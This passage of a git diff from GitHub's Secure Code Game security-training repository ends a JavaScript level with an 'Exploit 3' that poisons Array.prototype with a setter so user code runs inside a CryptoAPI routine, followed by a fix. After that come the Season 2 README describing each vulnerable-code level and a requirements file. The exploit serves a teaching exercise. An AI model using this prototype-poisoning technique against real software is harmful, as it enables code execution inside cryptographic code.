"w" on line 25 of code.js with the number of elements that +// would be used by the code that followed it, someone could also identify +// that the assignment on line 42 of code.js could trigger malicious code execution. + + +// Exploit 3 + +// We could poison the Array prototype before CryptoAPI is +// defined such that attempting to set the value of the element at index 0 +// in an array triggers execution of user-defined code, e.g.: + +var g = null; +var s = null; + +(function() { + var zero = undefined; + g = function() { return zero; } + s = function(x) { alert('3'); zero = x; } +})(); + +Object.defineProperty(Array.prototype, "0", { get: g, set: s }); + +// or the quicker, dirtier hack: + +Array.prototype.__defineSetter__("0", function() { alert('3'); }); + +// or by what was provided in hack-3.js + + +// Fix 3 + +// 128 elements of "w" are accessed by the CryptoAPI code, so +// we could fix this vulnerability by declaring "w" as an array initialised +// explicitly with 128 elements. This way, when we attempt to set the value +// of an element in "w" on line 42 of code.js we don't inherit a malicious +// setter for that property via the Array prototype. + +w = [ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 + ]; \ No newline at end of file diff --git a/Season-2/README.md b/Season-2/README.md new file mode 100644 index 0000000..2dda37f --- /dev/null +++ b/Season-2/README.md @@ -0,0 +1,234 @@ +# Secure Code Game + +_Welcome to Secure Code Game - Season 2!_ :wave: + +To get started, please follow the 🛠️ set up guide (if you haven't already) from the [welcome page](https://gh.io/securecodegame). + +## Season 2 - Level 1: Jarvis Gone Wrong + +_Welcome to Level 1!_ :robot: + +Languages: `yaml` for `GitHub Actions` + +### 🚀 Credits + +The author of this level is Deniz Onur Duzgun [@dduzgun-security](https://github.com/dduzgun-security). + +You can be next! We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). + +### 📝 Storyline + +Jarvis, your trusty geek who gets really excited with automating everything, has some tips for you. He has been experimenting lately with GitHub Actions and made several great additions to our CI/CD pipeline. Among other useful additions, he suggested that it would be helpful for our project team to be getting the [GitHub status page](https://www.githubstatus.com/api/v2/status.json). What can go wrong? Do you have what it takes to fix the bug and progress to Level 2? + +### :keyboard: What's in the repo? + +- `code` normally includes the vulnerable code to be reviewed. For this level, due to the nature of `GitHub Actions`, this file is referencing `.github/workflows/jarvis-code.yml`. +- `hack` exploits the vulnerabilities in `code`. For this level, this file is referencing `.github/workflows/jarvis-hack.yml`. Initially, it fails ❌ upon pushing and the only requirement for you to reach the next level is to get this file to pass 🟢. +- `hint` files offer guidance if you get stuck. We provide 2 hints for this level. +- `solution` offers a working solution. Remember, there are several possible solutions. + +### 🚦 Time to start! + +1. Review the code inside `.github/workflows/jarvis-code.yml`. Can you spot the bug(s)? +1. Fix the bug and push your solution so that `GitHub Actions` can run. +1. You successfully completed this level when `.github/workflows/jarvis-hack.yml` passes 🟢. +1. If you get stuck, read the hint in `hint-1.txt` and try again. +1. If you need more guidance, read the hint in `hint-2.txt` and try again. +1. Compare your solution with `solution.yml`. Remember, there are several possible solutions. + +If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack) in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. + +## Season 2 - Level 2: Lumberjack + +_You have completed Level 1: Jarvis Gone Wrong! Welcome to Level 2: Lumberjack_ :tada: + +Languages: `go` + +### 🚀 Credits + +The author of this level is Deniz Onur Duzgun [@dduzgun-security](https://github.com/dduzgun-security). + +You can be next! We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). + +### 📝 Storyline + +Welcome to the world of Lumberjack, the "clumsiest service in town", according to the online reviews! Customers have been noticing irregularities in both their site and services. We dumped a few reviews in an AI chatbot to summarize and what we've got back were a few keywords that said it all! Keywords included the words "discrepancies" and "inconsistencies". Something is clearly off here. Do you have what it takes to win this fight against "inconsistencies", "discrepancies" and "irregularities" and progress to Level 3? + +### :keyboard: Setup instructions + +- If you are playing the game inside GitHub Codespaces, the `go` programming language extension should be already installed. At times, this is not enough to run `go` files and you have to visit Go's [official website](https://go.dev/dl/) and download the driver corresponding to your operating system. +- For Levels 2-4 in Season 2, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions on setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." + +### :keyboard: What's in the repo? + +Due to the nature of file conventions in the `go` programming language, some file names look different compared to our usual file structure. We have the following: + +- `code` includes the vulnerable code to be reviewed. +- `code_test` contains the unit tests that should still pass 🟢 after you implement your fix. +- `hack_test` exploits the vulnerabilities in `code`. Running `hack_test.go` will fail initially and your goal is to get this file to pass 🟢. +- `hint` files offer guidance if you get stuck. We provide 2 hints for this level. Remember that you can also view the CodeQL scanning alerts for guidance. +- `solution` provides one working solution. There are several possible solutions. +- `solution_test` is identical to `code_test` and it's used to test the solution for failing and passing payloads. +- `go.mod` is a `go` programming language convention for a module residing at the root of the module's directory hierarchy. + +### 🚦 Time to start! + +1. Review the code in `code.go`. Can you spot the bug(s)? +1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch. +1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack_test.go` and `code_test.go` pass 🟢. +1. If you get stuck, read the hints and try again. +1. If you need more guidance, read the CodeQL scanning alerts. +1. Compare your solution to `solution/solution.go`. + +If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack) in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. + +## Season 2 - Level 3: Space-Crossing + +_Nice work finishing Level 2: Lumberjack ! It's now time for Level 3: Space-Crossing_ :sparkles: + +Languages: `python3` + +### 🚀 Credits + +The author of this level is [Viral Vaghela](https://www.linkedin.com/in/viralv/). + +You can be next! We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). + +### 📝 Storyline + +Our solar system is 4.6 billion years old and it's constantly expanding. So does human interest around the world with local communities of enthusiasts constantly forming in an increasingly digitized world. Space enthusiasts use the internet as an information bank and to connect with their counterparts. This was exactly what drove a local community of space enthusiasts to create a public website, featuring their meetups, alongside contact information and a simple search bar where users can discover rare facts about planets. Having said that, did you know that ninety-five per cent (95%) of the Universe is invisible? What percentage of security issues is invisible though, and for how long? Do you have what it takes to secure the site and progress to Level 4? + +### :keyboard: Setup instructions + +- For Levels 2-4 in Season 2, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions on setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." + +### :keyboard: What's in the repo? + +- `code` includes the vulnerable code to be reviewed. +- `hack` exploits the vulnerabilities in `code`. Running `hack` will fail initially and your goal is to get this file to pass 🟢. +- `hint` offers guidance if you get stuck. Remember that you can also view the CodeQL scanning alerts. +- `solution` provides one working solution. There are several possible solutions. +- `templates/index.html` host a simple front-end to interact with the back-end. +- `tests` contains the unit tests that should still pass 🟢 after you implement your fix. + +### 🚦 Time to start! + +1. Review the code in `code.py`. Can you spot the bug(s)? +1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch. +1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack.py` and `tests.py` pass 🟢. +1. If you get stuck, read the hint and try again. +1. If you need more guidance, read the CodeQL scanning alerts. +1. Compare your solution to `solution.py`. + +If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack) in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. + +## Season 2 - Level 4: Planet XMLon + +_Nicely done! Level 3: Space-Crossing is complete. It's time for Level 4: Planet XMLon_ :partying_face: + +Languages: `javascript` + +### 🚀 Credits + +The author of this level is Deniz Onur Duzgun [@dduzgun-security](https://github.com/dduzgun-security). + +You can be next! We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). + +### 📝 Storyline + +Embark on your quest as a daring EXXplorer in the vibrant landscape of the newly discovered Planet XMLon. The alien inhabitants are baffled by mysterious disruptions in their data transmissions, which may have been caused by the main developer E.T. who added more features than intended. Help them decode the extraterrestrial XML signals and unveil the secrets hidden within the starry constellations of tags, attributes and `.admin` files. Can you secure them all? + +### :keyboard: Setup instructions + +For Levels 2-4 in Season 2, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions on setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." + +### :keyboard: What's in the repo? + +- `code` includes the vulnerable code to be reviewed. +- `hack` exploits the vulnerabilities in `code`. Running `hack` will fail initially and your goal is to get this file to pass 🟢. +- `hack.admin` is a file used by administrators for debugging purposes. +- `hint` offers guidance if you get stuck. Remember that you can also view the CodeQL scanning alerts. +- `package.json` contains all the dependencies required for this level. You can install them by running `npm install`. +- `package-lock.json` ensures that the same dependencies are installed consistently across different environments. +- `solution` provides one working solution. There are several possible solutions. +- `tests` contains the unit tests that should still pass 🟢 after you implement your fix. +- `.env.production` is an internal server-side file containing a secret environment variable. + +### 🚦 Time to start! + +1. Start by installing the dependencies required for this level, by running `npm install`. These dependancies reside inside `package.json`. +1. Review the code in `code.js`. Can you spot the bug(s)? +1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch. +1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack.js` and `tests.js` pass 🟢. +1. If you get stuck, read the hint and try again. +1. If you need more guidance, read the CodeQL scanning alerts. +1. Compare your solution to `solution.js`. + +If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack) in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. + +## Season 2 - Level 5: Anarchy + +_Almost there... but also, so far away! A special level is awaiting for you to complete Season 2!_ :heart: + +Languages: `javascript` + +### 🚀 Credits + +The author of this level is the original creator of the game, Joseph Katsioloudes [@jkcso](https://github.com/jkcso). + +You can be next! We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). + +### 📝 Storyline + +'Anarchy' (noun) is the state of disorder due to absence or non-recognition of authority or other controlling systems. This was the first word that came to mind when I finished writing `code.js`. Is anarchy exploitable? Can you spot the issues? Good luck, you will need it! + +### :keyboard: What's in the repo? + +- `code` includes the vulnerable code to be reviewed. +- `hack` files exploit the vulnerabilities in `code`. For this level, the exploits couldn't be automated. To run them, follow the instructions provided inside. +- `hint` files offer guidance if you get stuck. +- `solution` provides one working solution. There are several possible solutions. +- `index` hosts the homepage, featuring a javascript console. + +### 🚦 Time to start! + +1. Review the code in `code.js`. Can you spot the bug(s)? +1. You successfully completed this level when the exploits inside `hack.js` are unsuccessful. Remember, due to the nature of the exploits, you have to run them manually. +1. If you get stuck, read the hints. +1. Compare your solution to `solution.js` + +If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack) in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. + +## Finish + +_Congratulations, you've completed the Secure Code Game!_ + +Here's a recap of all the tasks you've accomplished: + +- You practiced secure code principles by spotting and fixing vulnerable patterns in real-world code. +- You assessed your solutions against exploits developed by GitHub Security Lab experts. +- You utilized GitHub code scanning features and understood the security alerts generated against your code. + +### What's next? + +- Follow [GitHub Security Lab](https://twitter.com/ghsecuritylab) for the latest updates and announcements about this course. +- Contribute new levels to the game in 3 simple steps! Read our [Contribution Guideline](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). +- Share your feedback and ideas in our [Discussions](https://github.com/skills/secure-code-game/discussions) and join our community on [Slack](https://gh.io/securitylabslack). +- [Take another skills course](https://skills.github.com/). +- [Read more about code security](https://docs.github.com/en/code-security). +- To find projects to contribute to, check out [GitHub Explore](https://github.com/explore). + + diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..69e0f90 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,6 @@ +pyOpenSSL +bcrypt +flask +flask-testing +blinker +requests \ No newline at end of file